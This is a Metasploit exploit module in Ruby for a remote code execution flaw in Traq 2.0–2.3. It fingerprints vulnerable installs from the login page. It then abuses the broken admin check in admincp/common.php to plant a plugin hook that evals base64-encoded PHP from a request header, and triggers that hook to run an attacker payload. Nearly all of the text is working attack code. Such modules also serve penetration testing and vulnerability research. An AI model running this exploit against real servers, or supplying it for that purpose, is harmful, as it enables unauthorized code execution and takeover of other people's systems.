Traq admincp/common.php Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Traq admincp/common.php Remote Code Execution',
      'Description'    => %q{
        This module exploits an arbitrary command execution vulnerability in
        Traq 2.0 to 2.3. It's in the admincp/common.php script.

        This function is called in each script located in the /admicp/ directory to
        make sure the user has admin rights. This is a broken authorization schema
        because the header() function doesn't stop the execution flow.
        This can be exploited by malicious users to execute admin functionality,
        e.g. execution of arbitrary PHP code leveraging of plugins.php functionality.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'EgiX',  # Vulnerability discovery and exploit
          'TecR0c <roccogiovannicalvi[at]gmail.com>' # Metasploit Module
        ],
      'References'     =>
        [
          [ 'OSVDB', '77556'],
          [ 'EDB', '18213' ],
          [ 'URL', 'http://traqproject.org/' ],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Keys'        => ['php'],
          'Space'       => 4000,
          'DisableNops' => true,
        },
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        => [[ 'Automatic', {} ]],
      'DisclosureDate' => '2011-12-12',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('URI', [true, "The path to the Traq installation", "/"]),
      ])
  end

  def check
    uri = normalize_uri(datastore['URI'], "admincp", "login.php")

    res = send_request_raw(
      {
        'uri'=> uri
      }, 25)

    if (res and res.body =~ /Powered by Traq 2.[0-3]/ )
      return Exploit::CheckCode::Appears
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    p = Rex::Text.encode_base64(payload.encoded)

    uri = normalize_uri(datastore['URI'], "admincp", "plugins.php") + "?newhook"

    res = send_request_cgi(
      {
        'method'    => 'POST',
        'uri'       => uri,
        'vars_post' =>
          {
            'plugin_id' => '1',
            'title' => '1',
            'execorder' => '0',
            'hook' => 'template_footer',
            'code' => 'error_reporting(0);eval(base64_decode($_SERVER[HTTP_CMD]));die;'
          }
      }, 25)

    uri = normalize_uri(datastore['URI'], "index.php")

    res = send_request_cgi(
      {
        'method'  => 'GET',
        'uri'     => uri,
        'headers' =>
          {
            'CMD' => p,
            'Connection' => 'Close',
          },
      }, 25)
  end
end